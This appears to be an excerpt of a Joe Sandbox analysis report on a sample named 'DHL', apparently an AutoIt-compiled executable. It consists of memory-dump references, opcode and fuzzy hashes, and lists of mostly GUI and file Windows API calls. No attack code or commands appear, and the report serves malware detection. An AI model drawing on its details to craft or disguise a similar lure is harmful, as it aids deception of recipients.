Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5bb2cb182f96c97a41577abe011bd9185a3a19a917dbad224dfef993e7c58bb
Instruction ID: 9d701cf5c12ac8b0ef5c90c330841461b294e9ad47d03d2e039e0077d393924d
Opcode Fuzzy Hash: d5bb2cb182f96c97a41577abe011bd9185a3a19a917dbad224dfef993e7c58bb
Instruction Fuzzy Hash: FF32322AD68F014DD7239674D822335A64DAFF73C5F55C737F81AB5AA6EB2AC4834200

Function 009BCC39 Relevance: .6, Instructions: 635COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e45d454b110f159f15a8681d732f2593279d7d7856c9492de00f5643939e4491
Instruction ID: bac3c325f770df3fa4ed1a75ddded7cd2b7d21eb5a63ea1925ccc78ebdc2d466
Opcode Fuzzy Hash: e45d454b110f159f15a8681d732f2593279d7d7856c9492de00f5643939e4491
Instruction Fuzzy Hash: 8D3239F2A0410D8BDF28CF28C6906BD7BA5EB45311F28C96AD69ADB295D334DD81DB40

Function 009A7920 Relevance: .6, Instructions: 563COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6fd6bdfb90406e02fd9666c72a081e0bba5c14d4f01b47102f0759f9bae3ab1
Instruction ID: 3fd18455c3f28f5d7faac266b6a4d89bc577e1a186a74ed1d1e802d9fc23bd6c
Opcode Fuzzy Hash: f6fd6bdfb90406e02fd9666c72a081e0bba5c14d4f01b47102f0759f9bae3ab1
Instruction Fuzzy Hash: CC22A0B0A0460AEFDF14CFA5C982BAEF3B5FF45304F104529E816A7291EB399D11CB90

Function 009A91C0 Relevance: .5, Instructions: 475COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00b01d5e18f6e9a65e9e4f9c30c77e1163e68f74297d875448611b0a3f284a3f
Instruction ID: 8c24d5093cb75de24a48fbb15d4f841bd8c3664da2e8423cd5128e6a2ca904a7
Opcode Fuzzy Hash: 00b01d5e18f6e9a65e9e4f9c30c77e1163e68f74297d875448611b0a3f284a3f
Instruction Fuzzy Hash: A602B3B1E0010AEBCF05DF65D981BAEB7B5FF44300F208569E8169B291EB35AE11CBD1

Function 009C1C77 Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93657a121f16255c59120ad0d08fdbba6372c273009ad596b4ecdf6e8f3c6909
Instruction ID: b5e2df07672110819022d441fcbc0d212051efc2ab2ea840c1544feefc21e720
Opcode Fuzzy Hash: 93657a121f16255c59120ad0d08fdbba6372c273009ad596b4ecdf6e8f3c6909
Instruction Fuzzy Hash: C09199729080A34ADB2D463E8574A3DFFE55A533A131A079DE4F3CB1C2FE24C964D625

Function 009C19B0 Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40101273f58913c3cb3bc7eb54df01d47b4121c3e67d19f11ec2cb23d33ea445
Instruction ID: 40a34194e21b1035b22f3ee0d887f1fd68069954147deddf1415a6c6b042a0fd
Opcode Fuzzy Hash: 40101273f58913c3cb3bc7eb54df01d47b4121c3e67d19f11ec2cb23d33ea445
Instruction Fuzzy Hash: FB91C932A090E34EDB2D427A847493DFFE54A933A1319079DD4F2CA1C7FD24CA64DA25

Function 009C7A4A Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f50710b0374cc4058883857c636dd98fd51f8094d73d1b316f9fcb32888f5f15
Instruction ID: 55c66f5e026ecaa1493d4a43c21e0a11ffbda25878e3410f005ee5622fac5dc9
Opcode Fuzzy Hash: f50710b0374cc4058883857c636dd98fd51f8094d73d1b316f9fcb32888f5f15
Instruction Fuzzy Hash: 6D615871E4870967DB349AE88995FBFE39CDF81710F100D1EE882DB281D6159E428F17

Function 009C7CA7 Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93b8afa9fccf412d1056dd66e786b8226ee43d6d29a65661ec2ac74e0946eda8
Instruction ID: e6d7b5fff039e736fbfa7ccef868e63d8aa918a983e4f6ab260f0eef46cc2e54
Opcode Fuzzy Hash: 93b8afa9fccf412d1056dd66e786b8226ee43d6d29a65661ec2ac74e0946eda8
Instruction Fuzzy Hash: E4616932E0870967DA385AE84856FBFE39CAF82740F100D5DE843CB2D1D6159D42CE57

Function 009C1706 Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70da388f96bbbf26b230a155b4728740b34f0d100ea60ab2bbadb9d7d0befbf0
Instruction ID: 4f487661bc97215155fad7f049daba6dace57028acf66838e334ad76dbc5750b
Opcode Fuzzy Hash: 70da388f96bbbf26b230a155b4728740b34f0d100ea60ab2bbadb9d7d0befbf0
Instruction Fuzzy Hash: 0F81887690C0A34ADB2D42398534A3EFFE55E933A131A079ED4F2CB1C3EE24C654E625

Function 00E165F8 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1465502144.0000000000E13000.00000040.00000020.00020000.00000000.sdmp, Offset: 00E13000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e13000_DHL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
Instruction ID: 4eab386399c27f66f55eb8b351eae8c3c60665b1d43963e1fdb9589deb78f19d
Opcode Fuzzy Hash: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
Instruction Fuzzy Hash: 7441B371D1051CEBCF48CFADC991AEEBBF2AF88201F548299D516AB345D730AB41DB90

Function 00A12046 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6840c909bbc6c4d87ca249d0c9c3db13d5ea77c1221b346cc4fc683f0c2c52e9
Instruction ID: bc06f2b23f61bac633d92f11eb999771b8e766f1d292785f29d09116f075b877
Opcode Fuzzy Hash: 6840c909bbc6c4d87ca249d0c9c3db13d5ea77c1221b346cc4fc683f0c2c52e9
Instruction Fuzzy Hash: D82193326206118BD728CF79C8227BA73E5E754310F15862EE4A7C37D1DE39AD44CB80

Function 00E164E8 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1465502144.0000000000E13000.00000040.00000020.00020000.00000000.sdmp, Offset: 00E13000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e13000_DHL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
Instruction ID: fa1ee292925143d8fa0991837cbe6ac7bbed61b2bf6f8ec20f0e61d9bed2bc59
Opcode Fuzzy Hash: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
Instruction Fuzzy Hash: C3014278A01209EFCB44DF98C5909AEF7F6FB48310F209599E819A7745D730AE91DB80

Function 00E16488 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1465502144.0000000000E13000.00000040.00000020.00020000.00000000.sdmp, Offset: 00E13000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e13000_DHL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
Instruction ID: 4c88f4147b60a583ab5f2b5de068dcc23e1207f8ba004ac5528faa8644893b66
Opcode Fuzzy Hash: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
Instruction Fuzzy Hash: 99019D78A00209EFCB58DF98C5909AEF7F5FB88310F208599E819A7705D730AE91DB80

Function 00E14E78 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1465502144.0000000000E13000.00000040.00000020.00020000.00000000.sdmp, Offset: 00E13000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e13000_DHL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
Instruction ID: 2052e7d0eb43af8a57a5c2d707c06396f1b84aee57587abda472ed480d51124b
Opcode Fuzzy Hash: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
Instruction Fuzzy Hash: 1AB012310527488BC2118B89E008B1073ECA308E04F1000B0D40C07B01827874008D48

Function 00A22ADE Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 486filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00A22B30
DeleteObject.GDI32(00000000), ref: 00A22B43
DestroyWindow.USER32 ref: 00A22B52
GetDesktopWindow.USER32 ref: 00A22B6D
GetWindowRect.USER32(00000000), ref: 00A22B74
SetRect.USER32(?,00000000,00000000,00000007,00000002), ref: 00A22CA3
AdjustWindowRectEx.USER32(?,88C00000,00000000,?), ref: 00A22CB1
CreateWindowExW.USER32(?,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00A22CF8
GetClientRect.USER32(00000000,?), ref: 00A22D04
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00A22D40
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00A22D62
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00A22D75
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00A22D80
GlobalLock.KERNEL32(00000000), ref: 00A22D89
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00A22D98
GlobalUnlock.KERNEL32(00000000), ref: 00A22DA1
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00A22DA8
GlobalFree.KERNEL32(00000000), ref: 00A22DB3
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00A22DC5
OleLoadPicture.OLEAUT32(?,00000000,00000000,00A3FC38,00000000), ref: 00A22DDB
GlobalFree.KERNEL32(00000000), ref: 00A22DEB
CopyImage.USER32(00000007,00000000,00000000,00000000,00002000), ref: 00A22E11
SendMessageW.USER32(00000000,00000172,00000000,00000007), ref: 00A22E30
SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00A22E52
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00A2303F

Strings

, xrefs: 00A22FC5
static, xrefs: 00A22D3A, 00A22E91
DISPLAY, xrefs: 00A22EA2
AutoIt v3, xrefs: 00A22CF2

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: b1089d1edf20a57d4adee477c77c18a5a79e24ca996226b5ae57fdb29a43c6b7
Instruction ID: 466a2ed8d354e4e964197a58a7ffcafa0fd8426e2f6c8b28b17a45af39a2928e
Opcode Fuzzy Hash: b1089d1edf20a57d4adee477c77c18a5a79e24ca996226b5ae57fdb29a43c6b7
Instruction Fuzzy Hash: EA027C75A00214AFDB14DFA8DD89EAE7BB9FF49320F048158F915AB2A1D774AD01CB60

Function 00A370D5 Relevance: 49.8, APIs: 33, Instructions: 273COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 00A3712F
GetSysColorBrush.USER32(0000000F), ref: 00A37160
GetSysColor.USER32(0000000F), ref: 00A3716C
SetBkColor.GDI32(?,000000FF), ref: 00A37186
SelectObject.GDI32(?,?), ref: 00A37195
InflateRect.USER32(?,000000FF,000000FF), ref: 00A371C0
GetSysColor.USER32(00000010), ref: 00A371C8
CreateSolidBrush.GDI32(00000000), ref: 00A371CF
FrameRect.USER32(?,?,00000000), ref: 00A371DE
DeleteObject.GDI32(00000000), ref: 00A371E5
InflateRect.USER32(?,000000FE,000000FE), ref: 00A37230
FillRect.USER32(?,?,?), ref: 00A37262
GetWindowLongW.USER32(?,000000F0), ref: 00A37284

Part of subcall function 00A373E8: GetSysColor.USER32(00000012), ref: 00A37421
Part of subcall function 00A373E8: SetTextColor.GDI32(?,?), ref: 00A37425
Part of subcall function 00A373E8: GetSysColorBrush.USER32(0000000F), ref: 00A3743B
Part of subcall function 00A373E8: GetSysColor.USER32(0000000F), ref: 00A37446
Part of subcall function 00A373E8: GetSysColor.USER32(00000011), ref: 00A37463
Part of subcall function 00A373E8: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00A37471
Part of subcall function 00A373E8: SelectObject.GDI32(?,00000000), ref: 00A37482
Part of subcall function 00A373E8: SetBkColor.GDI32(?,00000000), ref: 00A3748B
Part of subcall function 00A373E8: SelectObject.GDI32(?,?), ref: 00A37498
Part of subcall function 00A373E8: InflateRect.USER32(?,000000FF,000000FF), ref: 00A374B7
Part of subcall function 00A373E8: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00A374CE
Part of subcall function 00A373E8: GetWindowLongW.USER32(00000000,000000F0), ref: 00A374DB

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
String ID:
API String ID: 4124339563-0
Opcode ID: dcf1014fc49ba6c12abb2f8f1d47a62b14ad06cc50a6bd5469f4c54186b48f0d
Instruction ID: 6890191eeee746d7da4fcb9bb3505a74a8bc393d5db4d3e4478039c003a76baf
Opcode Fuzzy Hash: dcf1014fc49ba6c12abb2f8f1d47a62b14ad06cc50a6bd5469f4c54186b48f0d
Instruction Fuzzy Hash: 3EA19EB2008301AFDB10DFA0DC48A6FBBA9FB89331F100B19F962A61E1D771E945DB51

Function 009B8D85 Relevance: 47.7, APIs: 26, Strings: 1, Instructions: 480windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?), ref: 009B8E14
SendMessageW.USER32(?,00001308,?,00000000), ref: 009F6AC5
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 009F6AFE
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 009F6F43

Part of subcall function 009B8F62: InvalidateRect.USER32(?,00000000,00000001,?,?,?,009B8BE8,?,00000000,?,?,?,?,009B8BBA,00000000,?), ref: 009B8FC5

SendMessageW.USER32(?,00001053), ref: 009F6F7F
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 009F6F96
ImageList_Destroy.COMCTL32(00000000,?), ref: 009F6FAC
ImageList_Destroy.COMCTL32(00000000,?), ref: 009F6FB7

Strings

0, xrefs: 009F6DCF

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: DestroyImageList_MessageSend$Window$InvalidateMoveRectRemove
String ID: 0
API String ID: 2760611726-4108050209
Opcode ID: 31a040479e00223cb4b9daa20661053d947707c81f8e76b6b46123bf1f4c757e
Instruction ID: 29dc458b450908a947afebf5b6381be04a23e546d168274576ea4d75b755252a
Opcode Fuzzy Hash: 31a040479e00223cb4b9daa20661053d947707c81f8e76b6b46123bf1f4c757e
Instruction Fuzzy Hash: 2312AC31204205DFDB25DF28CD44BB6B7E9FB49320F148469F6899B261CB35EC92DB91

Function 00A22711 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 330windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 00A2273E
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00A2286A
SetRect.USER32(?,00000000,00000000,0000012C,?), ref: 00A228A9
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000008), ref: 00A228B9
CreateWindowExW.USER32(00000008,AutoIt v3,?,88C00000,000000FF,?,?,?,00000000,00000000,00000000), ref: 00A22900
GetClientRect.USER32(00000000,?), ref: 00A2290C
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000), ref: 00A22955
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00A22964
GetStockObject.GDI32(00000011), ref: 00A22974
SelectObject.GDI32(00000000,00000000), ref: 00A22978
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?), ref: 00A22988
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00A22991
DeleteDC.GDI32(00000000), ref: 00A2299A
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 00A229C6
SendMessageW.USER32(00000030,00000000,00000001), ref: 00A229DD
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,-0000001D,00000104,00000014,00000000,00000000,00000000), ref: 00A22A1D
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00A22A31
SendMessageW.USER32(00000404,00000001,00000000), ref: 00A22A42
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000041,00000500,-00000027,00000000,00000000,00000000), ref: 00A22A77
GetStockObject.GDI32(00000011), ref: 00A22A82
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00A22A8D
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?,?,?), ref: 00A22A97

Strings

msctls_progress32, xrefs: 00A22A13
static, xrefs: 00A2294F, 00A22A71
DISPLAY, xrefs: 00A2295A
AutoIt v3, xrefs: 00A228F8

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: 725de93e29c5cd4e9d539dc1fe3e699e6fa5da0777fd6ca0cf6f69419c6b206a
Instruction ID: 43cd24659539f723a907a06863d3ca90495e54564210b7c5f9c81ade36cca6cf
Opcode Fuzzy Hash: 725de93e29c5cd4e9d539dc1fe3e699e6fa5da0777fd6ca0cf6f69419c6b206a
Instruction Fuzzy Hash: 9FB15B71A40215BFEB14DFA8DC8AFAE7BA9EB49710F008114F915EB291D774ED41CBA0

Function 00A14ADF Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 191COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00A14AED
GetDriveTypeW.KERNEL32(?,00A3CB68,?,\\.\,00A3CC08), ref: 00A14BCA
SetErrorMode.KERNEL32(00000000,00A3CB68,?,\\.\,00A3CC08), ref: 00A14D36

Strings

SSA, xrefs: 00A14CA6
ATAPI, xrefs: 00A14C91
SATA, xrefs: 00A14CD0
Network, xrefs: 00A14C02
SCSI, xrefs: 00A14C8A
FileBackedVirtual, xrefs: 00A14CEC
Unknown, xrefs: 00A14BED, 00A14C83
1394, xrefs: 00A14C9F
RAMDisk, xrefs: 00A14BF4
\\.\, xrefs: 00A14B3F
Virtual, xrefs: 00A14CE5
SAS, xrefs: 00A14CC9
